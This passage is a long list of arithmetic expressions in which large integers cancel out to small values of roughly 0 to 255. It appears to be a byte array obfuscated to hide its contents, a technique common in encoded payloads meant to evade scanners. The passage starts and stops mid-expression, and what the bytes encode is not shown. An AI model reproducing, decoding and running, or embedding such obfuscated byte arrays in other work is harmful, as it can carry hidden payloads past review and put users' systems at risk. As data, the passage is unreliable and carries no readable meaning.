2 - 6217511633317186913 - 10619, 111660815022861168636 - 111660815022861168592, 184480099427490945342 - 184480099427490945309, 286372033055325021090 - 286372033055325020980, (13198873175753622306 + 105000) // 2 - 6599436587876811153 - 52325, 1502649552684263350043 - 1502649552684263349852, (6923120119466971512 + 32232) // 2 - 3461560059733485756 - 15912, (14421137457498266042 + 105256) // 2 - 7210568728749133021 - 52510, 1064163265221824805800 - 1064163265221824805600, 339623734266018388286 - 339623734266018388243, 1201368910819053137360 - 1201368910819053137175, (7678313947949450904 + 20280) // 2 - 3839156973974725452 - 10010, 464248626578964352509 - 464248626578964352360, (15980307518775127778 + 138846) // 2 - 7990153759387563889 - 69204, 1231828885899257666724 - 1231828885899257666583, 45727822521452340491 - 45727822521452340352, (7873227290527604994 + 97500) // 2 - 3936613645263802497 - 48555, 125040527561475765706 - 125040527561475765624, 103158578559787830537 - 103158578559787830426, (16343457620338427142 + 26510) // 2 - 8171728810169213571 - 13200, 1562008507281730973344 - 1562008507281730973112, 110445299825313214087 - 110445299825313214044, (9657200391422601200 + 36564) // 2 - 4828600195711300600 - 18216, (7110969396313001524 + 129232) // 2 - 3555484698156500762 - 64419, 951266539178135554770 - 951266539178135554605, (9242478199511524870 + 5880) // 2 - 4621239099755762435 - 2920, 30583182450301146118 - 30583182450301146084, (16354605642492297630 + 52528) // 2 - 8177302821246148815 - 26130, (2024409122219488918 + 10824) // 2 - 1012204561109744459 - 5371, 993881770160404632363 - 993881770160404632214, (6586351551112726782 + 13050) // 2 - 3293175775556363391 - 6450, (1477984961433843240 + 31076) // 2 - 738992480716921620 - 15504, 1288068224939667819470 - 1288068224939667819256, (5701852255937100784 + 16992) // 2 - 2850926127968550392 - 8460, 380646671312089439880 - 380646671312089439760, 306227731788824832137 - 306227731788824832096, (15570904202992116430 + 38280) // 2 - 7785452101496058215 - 19085, 230001913192361702984 - 230001913192361702916, 110758245332872231340 - 110758245332872231320, 1246454949330958252023 - 1246454949330958251852, 766031497102092001050 - 766031497102092000893, 134801125199605339816 - 134801125199605339728, 1194212731368572531324 - 1194212731368572531080, 171452141046056659950 - 171452141046056659887, 582907654940293559994 - 582907654940293559916, 339166060383638364225 - 339166060383638364156, 19891391065270897952 - 19891391065270897848, 141814503503667220446 - 141814503503667220365, (271597570418335022 + 70858) // 2 - 135798785209167511 - 35358, (16485542910387847624 + 16686) // 2 - 8242771455193923812 - 8316, (10013632223577939004 + 22320) // 2 - 5006816111788969502 - 11040, (12960350724635147660 + 93436) // 2 - 6480175362317573830 - 46624, (13207860594173406974 + 27600) // 2 - 6603930297086703487 - 13725, (1831827319061493948 + 130072) // 2 - 915913659530746974 - 64807, 144381479923583336512 - 144381479923583336486, 595036183773976944546 - 595036183773976944340, 98622192005524293837 - 98622192005524293818, (13798795332821973744 + 38400) // 2 - 6899397666410986872 - 19136, 404786843421601549775 - 404786843421601549564, (17082651000096549878 + 118524) // 2 - 8541325500048274939 - 59096, 743847143578215242792 - 743847143578215242595, (13316063366277950416 + 28910) // 2 - 6658031683138975208 - 14406, 798285970783786903460 - 798285970783786903243, (16898203136493706154 + 44388) // 2 - 8449101568246853077 - 22113, (5070871778581676690 + 61088) // 2 - 2535435889290838345 - 30378, (18305837053645005996 + 173528) // 2 - 9152918526822502998 - 86546, 874745248695012226862 - 874745248695012226699, 322281045358340949354 - 322281045358340949292, 421114920424621768860 - 421114920424621768800, (5697265581925394206 + 27170) // 2 - 2848632790962697103 - 13490, (2462125425007907210 + 51840) // 2 - 1231062712503953605 - 25840, (7390314597947360764 + 51216) // 2 - 3695157298973680382 - 25414, 240696101001065201640 - 240696101001065201559, (7525589449633434764 + 46252) // 2 - 3762794724816717382 - 23064, 432880047533845285220 - 432880047533845285165, 1328612181545941163850 - 1328612181545941163595, 246947560625624482341 - 246947560625624482270, (9453156164049668426 + 137632) // 2 - 4726578082024834213 - 68632, (16403286257126633122 + 35984) // 2 - 8201643128563316561 - 17940, (1631096829445644986 + 43632) // 2 - 815548414722822493 - 21614, 137615718312948459078 - 137615718312948458891, 24485737380219634272 - 24485737380219634240, (5160048327992675922 + 68100) // 2 - 2580024163996337961 - 33975, (1186328395892152652 + 14368) // 2 - 593164197946076326 - 7168, (14805287387653043002 + 163170) // 2 - 7402643693826521501 - 81400, 1211935038347711843550 - 1211935038347711843385, (8102350167802911696 + 30120) // 2 - 4051175083901455848 - 14809, 151474645123479609708 - 151474645123479609666, (15095280086517153634 + 36900) // 2 - 7547640043258576817 - 18375, (5418968169497123878 + 12650) // 2 - 2709484084748561939 - 6302, 255598100728996967280 - 255598100728996967220, 450888713386282123428 - 450888713386282123344, (12635062475825806158 + 17940) // 2 - 6317531237912903079 - 8892, (383230171095367426 + 3108) // 2 - 191615085547683713 - 1540, 98400243436508279835 - 98400243436508279750, (8046038273148937660 + 164736) // 2 - 4023019136574468830 - 82176, 1541053888991000003685 - 1541053888991000003430, 1288545744669594112422 - 1288545744669594112233, 148375950122703174871 - 148375950122703174852, (213777635667736016 + 52320) // 2 - 106888817833868008 - 26100, 279109600822266172802 - 279109600822266172623, (8541275708209837004 + 38988) // 2 - 4270637854104918502 - 19380, 1054939328592173736514 - 1054939328592173736393, 10843927743162981924 - 10843927743162981920, (9112382498360200888 + 117552) // 2 - 4556191249180100444 - 58539, 668457595626605492248 - 668457595626605492036, 145123071003721730784 - 145123071003721730752, 145587444049204367580 - 145587444049204367553, (7988315909434952300 + 1098) // 2 - 3994157954717476150 - 540, (7233362912602967966 + 123080) // 2 - 3616681456301483983 - 61359, (14898627691628587124 + 151512) // 2 - 7449313845814293562 - 75579, (2253503011153803830 + 21756) // 2 - 1126751505576901915 - 10836, (4698130735041495482 + 20618) // 2 - 2349065367520747741 - 10140, (4846519315607263318 + 57514) // 2 - 2423259657803631659 - 28564, (9272248472681016506 + 3600) // 2 - 4636124236340508253 - 1790, (14640185987726446608 + 43200) // 2 - 7320092993863223304 - 21555, (3345536101010903368 + 57084) // 2 - 1672768050505451684 - 28400, 1238098690938179410836 - 1238098690938179410664, (3722648000958750800 + 120560) // 2 - 1861324000479375400 - 60060, 594844365183351068216 - 594844365183351068149, (5740150043539867206 + 34320) // 2 - 2870075021769933603 - 17100, 1318523013769744478685 - 1318523013769744478520, 185059451011446040056 - 185059451011446039969, 291933097717613368135 - 291933097717613368100, 238460211716485158934 - 238460211716485158896, (14918644969257537306 + 31122) // 2 - 7459322484628768653 - 15522, (388397532879578220 + 31590) // 2 - 194198766439789110 - 15714, (15440780798444293872 + 123280) // 2 - 7720390399222146936 - 61506, 890291432524291321230 - 890291432524291321015, (9526901198757245402 + 114760) // 2 - 4763450599378622701 - 57229, (18196599892795861880 + 16384) // 2 - 9098299946397930940 - 8160, (17301482422136982684 + 57204) // 2 - 8650741211068491342 - 28476, 1082265148019296168017 - 1082265148019296167894, (14170357198383278428 + 30912) // 2 - 7085178599191639214 - 15410, (16877071388938795304 + 19968) // 2 - 8438535694469397652 - 9920, (16917951387113021308 + 21164) // 2 - 8458975693556510654 - 10560, 1844795793778381501534 - 1844795793778381501316, (17481201497808514718 + 121360) // 2 - 8740600748904257359 - 60475, (16688027569877069240 + 3550) // 2 - 8344013784938534620 - 1750, (6388111689469261194 + 118500) // 2 - 3194055844734630597 - 59100, 519342004790650043085 - 519342004790650042926, (13182484780524408888 + 10944) // 2 - 6591242390262204444 - 5396, 160163710895046626715 - 160163710895046626584, (11079223336999176808 + 50490) // 2 - 5539611668499588404 - 24990, (3032895124992071128 + 20828) // 2 - 1516447562496035564 - 10287, (3864798135221675052 + 7964) // 2 - 1932399067610837526 - 3971, 195205785984522433542 - 195205785984522433480, 605421672942929410125 - 605421672942929410050, 950399921395196686080 - 950399921395196685888, 6450078573617070954 - 6450078573617070952, 482079778823430246140 - 482079778823430245920, 349892237941350163136 - 349892237941350162982, 1420267940599077486696 - 1420267940599077486540, (5578267672380653586 + 14000) // 2 - 2789133836190326793 - 6986, (17879276113136923862 + 147476) // 2 - 8939638056568461931 - 73577, (8610304818877673756 + 56056) // 2 - 4305152409438836878 - 27930, (14718200984945552362 + 55212) // 2 - 7359100492472776181 - 27499, (11468605932552220356 + 416) // 2 - 5734302966276110178 - 206, (8999392337080667370 + 17216) // 2 - 4499696168540333685 - 8576, (12678665624594394146 + 85064) // 2 - 6339332812297197073 - 42336, 137978782776777097794 - 137978782776777097620, 139852442496800378386 - 139852442496800378363, (9832053362606671146 + 147864) // 2 - 4916026681303335573 - 73730, 30452436629248191242 - 30452436629248191183, 1108834768602540531596 - 1108834768602540531363, (10387209750797291088 + 34310) // 2 - 5193604875398645544 - 16920, 326582910218114864902 - 326582910218114864801, 127638893287520670096 - 127638893287520670048, 43630687716746001026 - 43630687716746000989, 238296173075076165771 - 238296173075076165710, (13856408170298028810 + 70090) // 2 - 6928204085149014405 - 34882, 3485019756853080576 - 3485019756853080498, (16331516952774302766 + 164640) // 2 - 8165758476387151383 - 82075, 297982571179248536256 - 297982571179248536152, 1474949980624336712890 - 1474949980624336712672, (17689524097547612042 + 147010) // 2 - 8844762048773806021 - 73264, 1962540685055788219140 - 1962540685055788218912, (4347686219630875420 + 7964) // 2 - 2173843109815437710 - 3971, 1095424351881319506015 - 1095424351881319505808, (3343055170957224852 + 81172) // 2 - 1671527585478612426 - 40363, 511481547091907951528 - 511481547091907951277, (12736276187892777724 + 59730) // 2 - 6368138093946388862 - 29700, 1033583159873335345050 - 1033583159873335344805, (17637888963773059614 + 95488) // 2 - 8818944481886529807 - 47616, 640348026445495788724 - 640348026445495788530, (12925017336899531808 + 116116) // 2 - 6462508668449765904 - 57904, (7054797436441676328 + 68328) // 2 - 3527398718220838164 - 33930, 84534457239390105394 - 84534457239390105236, (8963563444154776422 + 30800) // 2 - 4481781722077388211 - 15180, 349482324602594276224 - 349482324602594276096, 189166707195437974197 - 189166707195437974068, (12101014755025581838 + 33558) // 2 - 6050507377512790919 - 16638, (2531589994012658582 + 20320) // 2 - 1265794997006329291 - 10080, (15869524004704582616 + 43758) // 2 - 7934762002352291308 - 21828, (17413943393668840144 + 109220) // 2 - 8706971696834420072 - 54483, 1169212138278108108849 - 1169212138278108108688, (14315809841509934890 + 25944) // 2 - 7157904920754967445 - 12878, (17153998148090302658 + 85068) // 2 - 8576999074045151329 - 42432, 222743362263678181530 - 222743362263678181431, 58607485877148405325 - 58607485877148405300, 585379666309257611960 - 585379666309257611748, 943848874338215323023 - 943848874338215322906, (12493521512785771000 + 51404) // 2 - 6246760756392885500 - 25631, 446982651944825152509 - 446982651944825152430, (14637660116360549132 + 68640) // 2 - 7318830058180274566 - 34155, (2998026506780146698 + 26320) // 2 - 1499013253390073349 - 13120, (14302384118967278440 + 31964) // 2 - 7151192059483639220 - 15921, 1182353354565925239091 - 1182353354565925238900, 144472993317198463000 - 144472993317198462800, (7514736955544142248 + 96330) // 2 - 3757368477772071124 - 47970, 647197825696143445032 - 647197825696143444800, (13606411438919342126 + 198400) // 2 - 6803205719459671063 - 98952, 301307350073265902058 - 301307350073265901981, 157828864296979893278 - 157828864296979893160, (5862031298131028092 + 25200) // 2 - 2931015649065514046 - 12564, 279190451069291015354 - 279190451069291015307, 95616015146821238508 - 95616015146821238472, 27722938388397618600 - 27722938388397618585, 1833683745493973048781 - 1833683745493973048564, (9078548157797212362 + 11024) // 2 - 4539274078898606181 - 5406, (14522026943240302114 + 14700) // 2 - 7261013471620151057 - 7252, 305587150809607588869 - 305587150809607588716, 13248998612297799846 - 13248998612297799844, 167828215762830274916 - 167828215762830274872, (12730310881898107004 + 204984) // 2 - 6365155440949053502 - 102273, (10081789019592356816 + 16380) // 2 - 5040894509796178408 - 8064, (6146306038418853022 + 23718) // 2 - 3073153019209426511 - 11658, 697325721776736485760 - 697325721776736485664, (17298069514349969598 + 29440) // 2 - 8649034757174984799 - 14628, (13813883397549064464 + 5754) // 2 - 6906941698774532232 - 2870, 200818613541834792240 - 200818613541834792000, 495921098945588954076 - 495921098945588953984, (8481703927654562354 + 22704) // 2 - 4240851963827281177 - 11264, 276962802787209426750 - 276962802787209426504, (2866304038029283750 + 25064) // 2 - 1433152019014641875 - 12291, 310871440327160281322 - 310871440327160281284, (9061336410982451710 + 90846) // 2 - 4530668205491225855 - 45320, (9696552172929133214 + 152932) // 2 - 4848276086464566607 - 76245, (676131898834521380 + 22842) // 2 - 338065949417260690 - 11394, 245928506794119879156 - 245928506794119879030, (1485417243291706890 + 50700) // 2 - 742708621645853445 - 25272, (17679145065977918490 + 21240) // 2 - 8839572532988959245 - 10440, (2888521706063754262 + 37516) // 2 - 1444260853031877131 - 18675, (2440551874295188666 + 44160) // 2 - 1220275937147594333 - 21984, (8493626526116791120 + 114750) // 2 - 4246813263058395560 - 57222, (1113840916576133892 + 58100) // 2 - 556920458288066946 - 28967, (2010250081778027882 + 53280) // 2 - 1005125040889013941 - 26492, (11332278132464386294 + 68880) // 2 - 5666139066232193147 - 34194, 2009196448445288558406 - 2009196448445288558179, 762198314397017094180 - 762198314397017093944, 18632182934668836272 - 18632182934668836264, (13952829000898892600 + 44802) // 2 - 6976414500449446300 - 22230, (7835863127291728236 + 75702) // 2 - 3917931563645864118 - 37758, 740158305324876811193 - 740158305324876810994, (13985162386285458412 + 34944) // 2 - 6992581193142729206 - 17290, (6612862725610559598 + 90820) // 2 - 3306431362805279799 - 45315, 361484041964900023260 - 361484041964900023120, (6411614030903636990 + 29394) // 2 - 3205807015451818495 - 14484, 174408900061735607664 - 174408900061735607616, 60551249359581131211 - 60551249359581131058, (8234109856980824406 + 185258) // 2 - 4117054928490412203 - 92418, 270651848470327396026 - 270651848470327395980, 1724305304077345857606 - 1724305304077345857384, 122958666752452232548 - 122958666752452232504, 703293424777222406995 - 703293424777222406862, 123699729698053213734 - 123699729698053213716, (7514074719118907756 + 22016) // 2 - 3757037359559453878 - 10976, 441539223474310821080 - 441539223474310821028, (5284903487555946172 + 30624) // 2 - 2642451743777973086 - 15224, 24028794331014792948 - 24028794331014792944, (15007309511538200376 + 20884) // 2 - 7503654755769100188 - 10419, (149365105874885568 + 143264) // 2 - 74682552937442784 - 71390, 460345413323294792348 - 460345413323294792266, (17547377711402245466 + 8140) // 2 - 8773688855701122733 - 3996, (12216674239922865430 + 95238) // 2 - 6108337119961432715 - 47520, 583172193153468689608 - 583172193153468689445, (4385272666628704596 + 1208) // 2 - 2192636333314352298 - 600, 1751433585978267779963 - 1751433585978267779752, 34587846273975000599 - 34587846273975000490, 1685085199521919386750 - 1685085199521919386495, 923390148411116473085 - 923390148411116472978, 1044966140660851528704 - 1044966140660851528573, 541314921720066487690 - 541314921720066487464, 0 - 0, 670378171034223742507 - 670378171034223742296, (15858945997501567320 + 34804) // 2 - 7929472998750783660 - 17289, 1715368680389110204080 - 1715368680389110203890, 531840094172121344775 - 531840094172121344616, (6689079062015962508 + 30544) // 2 - 3344539531007981254 - 15189, (3302218631899782790 + 83824) // 2 - 1651109315949891395 - 41808, 62623515032916506887 - 62623515032916506826, 1231134887965283215910 - 1231134887965283215725, 1120865796685446704530 - 1120865796685446704384, 896293532727043505607 - 896293532727043505430, 249199162832203291302 - 249199162832203291164, (12305787799314857604 + 27028) // 2 - 6152893899657428802 - 13485, 788179297645030671675 - 788179297645030671504, (520007692246945578 + 4320) // 2 - 260003846123472789 - 2150, (3592662887911704836 + 74000) // 2 - 1796331443955852418 - 36815, 1544501279382910339890 - 1544501279382910339680, 51519745112820110658 - 51519745112820110649, (15813718420436852974 + 119498) // 2 - 7906859210218426487 - 59600, 800058472694387451054 - 800058472694387450952, (7907656734749250742 + 116736) // 2 - 3953828367374625371 - 58216, (11599678063535302318 + 5452) // 2 - 5799839031767651159 - 2697, (13660751728515943546 + 24960) // 2 - 6830375864257971773 - 12450, 723628758977204840868 - 723628758977204840664, (17016216621728341302 + 60822) // 2 - 8508108310864170651 - 30302, 56523688970678101728 - 56523688970678101710, 1075914294144147655915 - 1075914294144147655730, 582173884539137200424 - 582173884539137200192, 632105186912793107130 - 632105186912793106900, 884361991194394636800 - 884361991194394636560, (14182219403655262790 + 113796) // 2 - 7091109701827631395 - 56680, (5491100585658889282 + 10340) // 2 - 2745550292829444641 - 5123, (12135726628007173868 + 61992) // 2 - 6067863314003586934 - 30744, (15715036904455552140 + 18224) // 2 - 7857518452227776070 - 8976, (13409844476574920838 + 109292) // 2 - 6704922238287460419 - 54468, (8348726726359835550 + 117180) // 2 - 4174363363179917775 - 58435, (11617490640216481578 + 24752) // 2 - 5808745320108240789 - 12272, 1158193653426047165818 - 1158193653426047165592, (16728342040685820986 + 56056) // 2 - 8364171020342910493 - 27930, 1384655274352003877572 - 1384655274352003877384, 110910856149172126115 - 110910856149172126014, (865598705255879436 + 49864) // 2 - 432799352627939718 - 24840, 1021087374842361005470 - 1021087374842361005352, (8064385020781570756 + 36000) // 2 - 4032192510390785378 - 17760, (4580029118668052062 + 56088) // 2 - 2290014559334026031 - 27968, (7834184546065805546 + 24832) // 2 - 3917092273032902773 - 12384, (11346082406101964392 + 19488) // 2 - 5673041203050982196 - 9723, 367142632687953069164 - 367142632687953069040, (4623858577371625004 + 122428) // 2 - 2311929288685812502 - 60960, (15598401789112445282 + 141760) // 2 - 7799200894556222641 - 70720, 889048887340584289550 - 889048887340584289440, (1926806918663379802 + 26880) // 2 - 963403459331689901 - 13360, 676362682821850165071 - 676362682821850164924, 21979025017130296180 - 21979025017130296170, (646725044108702510 + 16554) // 2 - 323362522054351255 - 8188, 184716380311282397566 - 184716380311282397483, 234169195632642371200 - 234169195632642371024, (17360185014176792824 + 74880) // 2 - 8680092507088396412 - 37323, 812861751774460258530 - 812861751774460258420, (16196456700176953158 + 7000) // 2 - 8098228350088476579 - 3493, (14965609268508336178 + 189744) // 2 - 7482804634254168089 - 94671, 1392554274753344379390 - 1392554274753344379180, (1530550963244640784 + 39304) // 2 - 765275481622320392 - 19584, 139114331199303017172 - 139114331199303017115, (14416448026330861110 + 213868) // 2 - 7208224013165430555 - 106680, 897625402367870906628 - 897625402367870906427, (10234062361804086856 + 19584) // 2 - 5117031180902043428 - 9760, 819384704576856710280 - 819384704576856710095, (17156548958064963208 + 33660) // 2 - 8578274479032481604 - 16745, (5191536950752754074 + 237446) // 2 - 2595768475376377037 - 118472, (8784949078854752616 + 130824) // 2 - 4392474539427376308 - 65254, (7152105673944946702 + 27744) // 2 - 3576052836972473351 - 13821, (6291993285050875922 + 136956) // 2 - 3145996642525437961 - 68276, 357111291907050877776 - 357111291907050877728, 1106015700597576978438 - 1106015700597576978292, (75261178760805876 + 11556) // 2 - 37630589380402938 - 5671, 264494205789182170032 - 264494205789182169976, 566482552418109173840 - 566482552418109173700, (7264531535821125020 + 52152) // 2 - 3632265767910562510 - 25994, 1916947749551499589960 - 1916947749551499589748, 461583687882234043430 - 461583687882234043341, 310746250183350310723 - 310746250183350310680, 168752184711361902053 - 168752184711361902024, (17419224236781101186 + 77488) // 2 - 8709612118390550593 - 38512, 1175107627381664178410 - 1175107627381664178280, 1035328056035361251400 - 1035328056035361251216, 609112000736965965041 - 609112000736965964842, 92067684529120569607 - 92067684529120569588, 804422165702588289164 - 804422165702588289010, (17493577229951742500 + 21406) // 2 - 8746788614975871250 - 10564, (11367852390484992918 + 44676) // 2 - 5683926195242496459 - 22236, 373755157323388057280 - 373755157323388057035, (16736506015791226842 + 92996) // 2 - 8368253007895613421 - 46364, 1551187270588774592478 - 1551187270588774592256, (15621649499636006612 + 120480) // 2 - 7810824749818003306 - 59989, 175715153868937945392 - 175715153868937945314, 1422331690679487295980 - 1422331690679487295776, (9237401981647061164 + 16008) // 2 - 4618700990823530582 - 7981, 108465305629670719347 - 108465305629670719330, (14963199729233409792 + 176540) // 2 - 7481599864616704896 - 88076, (5987072407058020338 + 72568) // 2 - 2993536203529010169 - 36190, 71204873987497084656 - 71204873987497084640, 1124689686914096396148 - 1124689686914096396025, 777587383742346273979 - 777587383742346273852, (11922097333673172340 + 119448) // 2 - 5961048666836586170 - 59487, (13365364437944231848 + 110000) // 2 - 6682682218972115924 - 54890, (1675561999764977614 + 145160) // 2 - 837780999882488807 - 72390, (2429178765707370596 + 192172) // 2 - 1214589382853685298 - 95872, (861726816417450342 + 34440) // 2 - 430863408208725171 - 17097, 812528664347561468921 - 812528664347561468694, 71570371092622682064 - 71570371092622682016, 349076392360448678520 - 349076392360448678460, (14646875635822015342 + 2332) // 2 - 7323437817911007671 - 1144, (9908337326339216912 + 65824) // 2 - 4954168663169608456 - 32791, 287483044752633804613 - 287483044752633804564, 90125525267983962900 - 90125525267983962874, (9159318573738610162 + 35916) // 2 - 4579659286869305081 - 17712, 25629551440049600877 - 25629551440049600824, 231945056184465042560 - 231945056184465042480, (12756249816484177726 + 70688) // 2 - 6378124908242088863 - 35156, (17849071305808956480 + 44732) // 2 - 8924535652904478240 - 22313, (5158205853312481306 + 94400) // 2 - 2579102926656240653 - 47000, (3803784389610958292 + 82584) // 2 - 1901892194805479146 - 41181, 261737995470084754137 - 261737995470084754038, 650212463693857969563 - 650212463693857969326, (7596424485323077194 + 84624) // 2 - 3798212242661538597 - 42066, 417715078854701836512 - 417715078854701836326, 140015117757564388350 - 140015117757564388163, (1764431160841663692 + 126480) // 2 - 882215580420831846 - 63070, (7636054364279648592 + 16200) // 2 - 3818027182139824296 - 8000, 1687057091776384183545 - 1687057091776384183310, (4522446171850282434 + 13200) // 2 - 2261223085925141217 - 6490, 677190295485073621769 - 677190295485073621666, (2303086285458165848 + 23108) // 2 - 1151543142729082924 - 11445, (10916963030546741176 + 50932) // 2 - 5458481515273370588 - 25347, 1019035045355397658610 - 1019035045355397658489, (657334291815401252 + 34850) // 2 - 328667145907700626 - 17220, 210804122889670656258 - 210804122889670656192, (6556372266252696010 + 62436) // 2 - 3278186133126348005 - 31097, (10921280707742818600 + 44472) // 2 - 5460640353871409300 - 22018, (1344384752204986442 + 44460) // 2 - 672192376102493221 - 22165, (3513098245726272562 + 50876) // 2 - 1756549122863136281 - 25280, 83381893172359781808 - 83381893172359781760, (10696689254676435150 + 46492) // 2 - 5348344627338217575 - 23187, 1442252716575112816612 - 1442252716575112816385, (7655597036490288918 + 75680) // 2 - 3827798518245144459 - 37730, 385321374046267509180 - 385321374046267509070, 411380808655915762092 - 411380808655915761894, 135878280866769804648 - 135878280866769804416, 322491669231066020200 - 322491669231066020150, (12390652032532942938 + 140400) // 2 - 6195326016266471469 - 69984, (16744681080095580548 + 77826) // 2 - 8372340540047790274 - 38804, (4090070801832915548 + 10266) // 2 - 2045035400916457774 - 5074, 663760604550839183754 - 663760604550839183651, 269416766103054636640 - 269416766103054636591, (16026606652507128768 + 13640) // 2 - 8013303326253564384 - 6758, (2586338346949178662 + 76230) // 2 - 1293169173474589331 - 37884, 624113488213603175755 - 624113488213603175670, (6294508938267569232 + 34580) // 2 - 3147254469133784616 - 17157, (7375318317462676344 + 185866) // 2 - 3687659158731338172 - 92734, 1068653987697286654560 - 1068653987697286654440, 4066365049080720420 - 4066365049080720405, (4298132398664780060 + 76368) // 2 - 2149066199332390030 - 38073, 1885129027579659537832 - 1885129027579659537605, 725749957146811665915 - 725749957146811665756, (11222496173310770932 + 41168) // 2 - 5611248086655385466 - 20522, (11050573533915442696 + 41418) // 2 - 5525286766957721348 - 20532, 71677141196149050469 - 71677141196149050386, 10195064099491794391 - 10195064099491794348, 260257906080036655040 - 260257906080036655008, 1278429687421746682108 - 1278429687421746681965, (13172605422404513466 + 12466) // 2 - 6586302711202256733 - 6210, 51694894502273845836 - 51694894502273845818, (16905776099776214232 + 47716) // 2 - 8452888049888107116 - 23779, (17223873107658412538 + 17556) // 2 - 8611936553829206269 - 8736, 490410161677912040883 - 490410161677912040814, 109614556005388788420 - 109614556005388788310, (7531433031164028168 + 150592) // 2 - 3765716515582014084 - 75088, 10690601062377933120 - 10690601062377932865, (5891299166190042920 + 197100) // 2 - 2945649583095021460 - 98325, (6278872609194554794 + 52560) // 2 - 3139436304597277397 - 26207, 2056365431981741476804 - 2056365431981741476550, 159299248323887731664 - 159299248323887731488, (17743965308349806780 + 45360) // 2 - 8871982654174903390 - 22545, (6155473262122691512 + 128524) // 2 - 3077736631061345756 - 64008, (1279336768985351158 + 2964) // 2 - 639668384492675579 - 1476, 87734579799759338952 - 87734579799759338820, (6059916797238788282 + 21216) // 2 - 3029958398619394141 - 10556, 61332688335273565285 - 61332688335273565070, (13593944165690062542 + 40894) // 2 - 6796972082845031271 - 20286, (6267678241569031710 + 14640) // 2 - 3133839120784515855 - 7296, 511387423397846781240 - 511387423397846781120, (8930060769995173660 + 35072) // 2 - 4465030384997586830 - 17408, 1569262680359687256774 - 1569262680359687256573, 173080237862125078437 - 173080237862125078396, 512121722699260101790 - 512121722699260101600, 0 - 0, 572124455922600756282 - 572124455922600756153, 175688982027660728352 - 175688982027660728286, 857588454182071887561 - 857588454182071887444, 513750243989042495413 - 513750243989042495292, (17500803607314538582 + 43008) // 2 - 8750401803657269291 - 21440, 534426047626563264832 - 534426047626563264719, (15119224101577862380 + 224028) // 2 - 7559612050788931190 - 111760, 699596544926441656915 - 699596544926441656760, (1246069647669784106 + 4260) // 2 - 623034823834892053 - 2124, (15749812750220844726 + 7448) // 2 - 7874906375110422363 - 3686, 230839973413843483800 - 230839973413843483678, 240053504705145692352 - 240053504705145692280, 1200467483617762837789 - 1200467483617762837568, (646205610877579426 + 32248) // 2 - 323102805438789713 - 16066, (885921927896826596 + 102292) // 2 - 442960963948413298 - 51039, (8173632167164023140 + 21424) // 2 - 4086816083582011570 - 10608, 52695839028208955970 - 52695839028208955955, 81493027636672601352 - 81493027636672601300, 173444168998203665670 - 173444168998203665535, 403957652498818606356 - 403957652498818606160, (14187965499793560726 + 228420) // 2 - 7093982749896780363 - 113975, (15762059083126835988 + 14308) // 2 - 7881029541563417994 - 7081, 31286251039329595020 - 31286251039329595000, 1595512552658729083173 - 1595512552658729082966, (18086488866300232304 + 0) // 2 - 9043244433150116152 - 0, (8010916371279470768 + 12648) // 2 - 4005458185639735384 - 6307, 1000356028126149850452 - 1000356028126149850320, (14870491282821473688 + 7140) // 2 - 7435245641410736844 - 3540, (8847240315538409732 + 7680) // 2 - 4423620157769204866 - 3824, 277583784179542905757 - 277583784179542905680, (17347020508089609116 + 150670) // 2 - 8673510254044804558 - 75088, (8595076183853450966 + 26814) // 2 - 4297538091926725483 - 13366, 445219325005840767804 - 445219325005840767658, 542000397243215236560 - 542000397243215236305, (1056105173407324644 + 56952) // 2 - 528052586703662322 - 28392, (12379433879398109372 + 79772) // 2 - 6189716939699054686 - 39732, (1291932890033100418 + 31416) // 2 - 645966445016550209 - 15640, (9181312211310485158 + 13080) // 2 - 4590656105655242579 - 6525, (8344857578772450812 + 25650) // 2 - 4172428789386225406 - 12654, (10008696777817840440 + 42328) // 2 - 5004348388908920220 - 21120, 1762277584616149994206 - 1762277584616149993997, (973975436608374090 + 134596) // 2 - 486987718304187045 - 67089, (2897212029067144114 + 3120) // 2 - 1448606014533572057 - 1540, 282731443245264496186 - 282731443245264496124, (2903121448101990512 + 71052) // 2 - 1451560724050995256 - 35335, 134047365918268797280 - 134047365918268797200, 167385812874541664436 - 167385812874541664370, 192087392393983823055 - 192087392393983823010, (2968161225206558342 + 44640) // 2 - 1484080612603279171 - 22272, 91390120252546974105 - 91390120252546974090, 1418004790552034787897 - 1418004790552034787704, 540921783963568005054 - 540921783963568004991, (6604020998213353672 + 14490) // 2 - 3302010499106676836 - 7200, (12839143696753603266 + 13332) // 2 - 6419571848376801633 - 6633, (5469529444791919512 + 178334) // 2 - 2734764722395959756 - 88920, 138564624860636192544 - 138564624860636192340, (4080265697062306296 + 15318) // 2 - 2040132848531153148 - 7622, 464982060818735023460 - 464982060818735023395, 191932171245603427698 - 191932171245603427647, (3649424382156037666 + 100076) // 2 - 1824712191078018833 - 49784, 713353590044237237289 - 713353590044237237196, (1829862581955928784 + 159676) // 2 - 914931290977964392 - 79629, 643462264480770394988 - 643462264480770394794, (10762827352451996168 + 154980) // 2 - 5381413676225998084 - 77280, 15814109279796476184 - 15814109279796476182, (15850379122438244576 + 99000) // 2 - 7925189561219122288 - 49302, (6654409697692481802 + 73440) // 2 - 3327204848846240901 - 36550, 549971037650161924030 - 549971037650161923900, 114502500586591353192 - 114502500586591353006, 97039871064887645664 - 97039871064887645592, (8477275230885697888 + 4620) // 2 - 4238637615442848944 - 2305, (14554843620740018316 + 60984) // 2 - 7277421810370009158 - 30294, 0 - 0, 524362084149603120200 - 524362084149603120100, 701165782811277680805 - 701165782811277680634, (4749309793059789332 + 50160) // 2 - 2374654896529894666 - 24948, 113120933607278733656 - 113120933607278733604, 1173922721209918071504 - 1173922721209918071336, 2125889915048489753046 - 2125889915048489752812, (14822386655205940432 + 75960) // 2 - 7411193327602970216 - 37800, 147332113539940043230 - 147332113539940043145, 108146854016618853618 - 108146854016618853597, (7436526915714972776 + 3000) // 2 - 3718263457857486388 - 1480, (18316169576100016020 + 33660) // 2 - 9158084788050008010 - 16728, (17118764291296027478 + 15216) // 2 - 8559382145648013739 - 7584, 40696960746474768032 - 40696960746474768024, (5904358192551186928 + 33180) // 2 - 2952179096275593464 - 16380, (4470892151598704584 + 13416) // 2 - 2235446075799352292 - 6682, (14852616645480617298 + 13188) // 2 - 7426308322740308649 - 6580, 502891190168674829060 - 502891190168674829005, (7856788905534290968 + 57330) // 2 - 3928394452767145484 - 28420, 8624835980536093034 - 8624835980536093033, 465506601503374593066 - 465506601503374592952, 383575328922894036096 - 383575328922894036047, 864337142969063787072 - 864337142969063786848, 704239821113696047598 - 704239821113696047461, 129254356880893689764 - 129254356880893689742, (15977915866493619230 + 91520) // 2 - 7988957933246809615 - 45650, 30668234901905244714 - 30668234901905244693, (11029469699600162048 + 107984) // 